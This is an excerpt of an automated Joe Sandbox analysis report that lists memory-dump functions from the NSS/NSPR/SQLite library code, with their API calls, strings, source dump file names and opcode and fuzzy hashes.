SECKEY_DestroyPublicKey.NSS3(?), ref: 6CED7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CED7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CED7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CED8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CED8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CED8093
SECOID_FindOID_Util.NSS3 ref: 6CED7F29

Part of subcall function 6CED07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE78298,?,?,?,6CE6FCE5,?), ref: 6CED07BF
Part of subcall function 6CED07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CED07E6
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED081B
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CED8072
SECOID_FindOID_Util.NSS3 ref: 6CED80F5

Part of subcall function 6CEDBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CED800A,00000000,?,00000000,?), ref: 6CEDBC3F

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: d46e4b43e02e4554ecc8446e6622bc52cf022bc0fef6249e39f877999a92d336
Instruction ID: 4c251a22cf6dde68548bff7ddddce3c45911fa3a43747a90e15923e537589914
Opcode Fuzzy Hash: d46e4b43e02e4554ecc8446e6622bc52cf022bc0fef6249e39f877999a92d336
Instruction Fuzzy Hash: 77E1A0716093019FE710CF28D980B5AB7F5AF4530CF26492DE8999BB55E731F806CB92

Function 6CE61C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CE61C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CE61C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CE61CA1
GetLengthSid.ADVAPI32(?), ref: 6CE61CA9
malloc.MOZGLUE(00000000), ref: 6CE61CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE61CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CE61CE4
GetLengthSid.ADVAPI32(?), ref: 6CE61CEC
malloc.MOZGLUE(00000000), ref: 6CE61CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE61D0F
CloseHandle.KERNEL32(?), ref: 6CE61D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CE61D4D
GetLastError.KERNEL32 ref: 6CE61D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CE61D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CE61D7A

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 4ce7ff43841d4f2a4b093afdb6d0bca0fa69e471fe724d189dbc4a4be327eb29
Instruction ID: ae370821fd866f7ee422c62a649ea511982e64acb78b937ba9428039ed6baac5
Opcode Fuzzy Hash: 4ce7ff43841d4f2a4b093afdb6d0bca0fa69e471fe724d189dbc4a4be327eb29
Instruction Fuzzy Hash: 173140B1F10218AFEF51EF64CC48BAA7BB8EF4A345F004065F60993651E7315A94CF65

Function 6CE63D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE63DFB
__allrem.LIBCMT ref: 6CE63EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE63FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE64047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE640DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE6415F
__allrem.LIBCMT ref: 6CE6416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE64288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE642AB
__allrem.LIBCMT ref: 6CE642B7

Strings

%02d, xrefs: 6CE64086
%04d, xrefs: 6CE6407B
%lld, xrefs: 6CE63FB2
%03d, xrefs: 6CE642E8

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: fcc6fac3dcaa4c0f81f956a3e243cb4bb875781f99d69b8a3196e9c31e486b91
Instruction ID: 21e7c215005694478528d0034805206a8eead8751e67df9031dcfcc1ddf9eff2
Opcode Fuzzy Hash: fcc6fac3dcaa4c0f81f956a3e243cb4bb875781f99d69b8a3196e9c31e486b91
Instruction Fuzzy Hash: 10F18671AA87409FD715CF39C851BABB7F6AF86308F208A1EF48597B51E730D4428B42

Function 6CE6EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6EF63

Part of subcall function 6CE787D0: PORT_NewArena_Util.NSS3(00000800,6CE6EF74,00000000), ref: 6CE787E8
Part of subcall function 6CE787D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CE6EF74,00000000), ref: 6CE787FD
Part of subcall function 6CE787D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE7884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CE6F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CE6F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CE6F374
PL_strcasecmp.NSS3(6CFB2FD4,?), ref: 6CE6F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CE6F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE6F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE6F67D
CERT_DestroyName.NSS3(?), ref: 6CE6F68B

Part of subcall function 6CE78320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CE78338
Part of subcall function 6CE78320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE78364
Part of subcall function 6CE78320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CE7838E
Part of subcall function 6CE78320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE783A5
Part of subcall function 6CE78320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE783E3

Part of subcall function 6CE784C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CE784D9
Part of subcall function 6CE784C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE78528

Part of subcall function 6CE78900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CE78955

Strings

oid., xrefs: 6CE6F2CF
*, xrefs: 6CE6F3C6
", xrefs: 6CE6F21B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 7a596b19ee240fa088a8138bf6ea4619811f9ef38774bff1ee46a3b83043d3f7
Instruction ID: fe73a6f25bd006fc92890ae05f4300e1b8846ebbf37ac0a45aba71b17d5df373
Opcode Fuzzy Hash: 7a596b19ee240fa088a8138bf6ea4619811f9ef38774bff1ee46a3b83043d3f7
Instruction Fuzzy Hash: CD2218716983514BD710CE2AC49036EB7F6AB8631CF28462EE4D587F91E7399C06CB93

Function 6CE11C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE11D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE11EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CE11FB7

Strings

another row available, xrefs: 6CE12287
sqlite_temp_master, xrefs: 6CE11C5C
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CE11F83
unknown error, xrefs: 6CE12291
abort due to ROLLBACK, xrefs: 6CE12223
sqlite_master, xrefs: 6CE11C61
no more rows available, xrefs: 6CE12264
unsupported file format, xrefs: 6CE12188
attached databases must use the same text encoding as main database, xrefs: 6CE120CA
table, xrefs: 6CE11C8B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: af0458c6d02cc07dac03ed40b12643104adbc5ef9386f06527fcceb3bce68ed5
Instruction ID: 97094aa56fbba97e515a45adef909c77851ad3b3fd409cc1f0e1beca99c5ebf1
Opcode Fuzzy Hash: af0458c6d02cc07dac03ed40b12643104adbc5ef9386f06527fcceb3bce68ed5
Instruction Fuzzy Hash: FC12DF7060C3419FD704CF19C484A5AB7F2BF96318F298A6DE8998BF51D731E856CB82

Function 6CE35F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6CE362F9
u, xrefs: 6CE381DA
NOCASE, xrefs: 6CE38703
ON clause references tables to its right, xrefs: 6CE36BEC
sub-select returns %d columns - expected %d, xrefs: 6CE3805F
BINARY, xrefs: 6CE38708, 6CE38737, 6CE387B8
2, xrefs: 6CE365B4
-, xrefs: 6CE36228

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: b3cc9773d1719b2f4b9b1dba68e77846a9a73b450a06b4fe011749adb4e6322c
Instruction ID: d17376f7e5a70e3b182c2292b2dcfa1da8dfa5f3b16e3968693f391063dd7da7
Opcode Fuzzy Hash: b3cc9773d1719b2f4b9b1dba68e77846a9a73b450a06b4fe011749adb4e6322c
Instruction Fuzzy Hash: 11439174A083518FD314CF28C590B1ABBF2BF8931CF24966DE8998B751D735E846CB92

Function 6CEDEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEDC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEDDAE2,?), ref: 6CEDC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEDF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEDF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CEDF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEDF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CFA218C), ref: 6CEDF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CEDF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEDF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEDF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CEDF210

Part of subcall function 6CE852D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CEDF1E9,?,00000000,?,?), ref: 6CE852F5
Part of subcall function 6CE852D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CE8530F
Part of subcall function 6CE852D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CE85326
Part of subcall function 6CE852D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CEDF1E9,?,00000000,?,?), ref: 6CE85340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEDF227

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CEDF23E

Part of subcall function 6CECBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE7E708,00000000,00000000,00000004,00000000), ref: 6CECBE6A
Part of subcall function 6CECBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE804DC,?), ref: 6CECBE7E
Part of subcall function 6CECBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CECBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEDF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEDF3A8

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEDF3B3

Part of subcall function 6CE82D20: PK11_DestroyObject.NSS3(?,?), ref: 6CE82D3C
Part of subcall function 6CE82D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE82D5F

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 1f5e345801c4dfa2e5fda4ea42e8782a6d7f23c1ec6eb5c9932b5322cc289459
Instruction ID: c28b286c2c25f58b142508ef43eb710a57aa70a91852a9c8267fbdc92c644dc7
Opcode Fuzzy Hash: 1f5e345801c4dfa2e5fda4ea42e8782a6d7f23c1ec6eb5c9932b5322cc289459
Instruction Fuzzy Hash: 53D160B6E016059FDB14CF99D880A9EB7F5EF4830CF2A8129D915A7711EB35F806CB50

Function 6CF0DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CEE7FFA,00000000,?,6CF123B9,00000002,00000000,?,6CEE7FFA,00000002), ref: 6CF0DE33

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

Part of subcall function 6CF0D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CF0DE74,6CEE7FFA,00000002,?,?,?,?,?,00000000,6CEE7FFA,00000000,?,6CF123B9,00000002), ref: 6CF0D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CEE7FFA,00000000,?,6CF123B9,00000002,00000000,?,6CEE7FFA,00000002), ref: 6CF0DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CF0DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF0E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF0E121
PK11_FreeSymKey.NSS3(?), ref: 6CF0E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CF0E195
PR_GetCurrentThread.NSS3 ref: 6CF0E1FC

Part of subcall function 6CF02460: PR_SetError.NSS3(FFFFE005,00000000,6CFA7379,00000002,?), ref: 6CF02493

Strings

handshake data, xrefs: 6CF0DFF7
application data, xrefs: 6CF0DFE0
key, xrefs: 6CF0E046
early application data, xrefs: 6CF0DFC9

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 1f5f9b76b1d56192fc808c081e00a389cfed3fb48bb43d4d8f4b1d0270375f14
Instruction ID: fc699f7920f1d75180ec6aa7fb0bbc8b07f4d2f6d45277ad1197ce1783fcf8c5
Opcode Fuzzy Hash: 1f5f9b76b1d56192fc808c081e00a389cfed3fb48bb43d4d8f4b1d0270375f14
Instruction Fuzzy Hash: 92C104B1B00215ABDB04CF65CC90BEAB7B4FF48708F144129E9199BA51E731E954DBE1

Function 6CDFECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDFED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDFEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDFEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CDFEF98

Strings

%s at line %d of [%.10s], xrefs: 6CDFF492
database corruption, xrefs: 6CDFF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFF483

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: a79b9f5e62736777e097ac7db9201015dd8988d97f99dfc87e3f42c3e6f5917f
Instruction ID: 46a14c9df8f48d21dad094a4949e49b271d7e0c05dbb3892c1c732aff59966c3
Opcode Fuzzy Hash: a79b9f5e62736777e097ac7db9201015dd8988d97f99dfc87e3f42c3e6f5917f
Instruction Fuzzy Hash: FF620271A04245CFEB04CF64C88079ABBF1BF45318F1A419DD8A56BBA2D775E887CB90

Function 6CE9FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CE9FD06

Part of subcall function 6CE9F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CE9F696
Part of subcall function 6CE9F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CE9F789
Part of subcall function 6CE9F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CE9F796
Part of subcall function 6CE9F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CE9F79F
Part of subcall function 6CE9F670: SECITEM_DupItem_Util.NSS3 ref: 6CE9F7F0

Part of subcall function 6CEC3440: PK11_GetAllTokens.NSS3 ref: 6CEC3481
Part of subcall function 6CEC3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEC34A3
Part of subcall function 6CEC3440: TlsGetValue.KERNEL32 ref: 6CEC352E
Part of subcall function 6CEC3440: EnterCriticalSection.KERNEL32(?), ref: 6CEC3542
Part of subcall function 6CEC3440: PR_Unlock.NSS3(?), ref: 6CEC355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CE9FDAD

Part of subcall function 6CECFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE79003,?), ref: 6CECFD91
Part of subcall function 6CECFD80: PORT_Alloc_Util.NSS3(A4686CED,?), ref: 6CECFDA2
Part of subcall function 6CECFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CED,?,?), ref: 6CECFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE9FE00

Part of subcall function 6CECFD80: free.MOZGLUE(00000000,?,?), ref: 6CECFDD1

Part of subcall function 6CEBE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEBE5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CE9FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CE9FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE9FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE9FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CE9FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CE9FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CEA0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CEA0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CEA0044

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

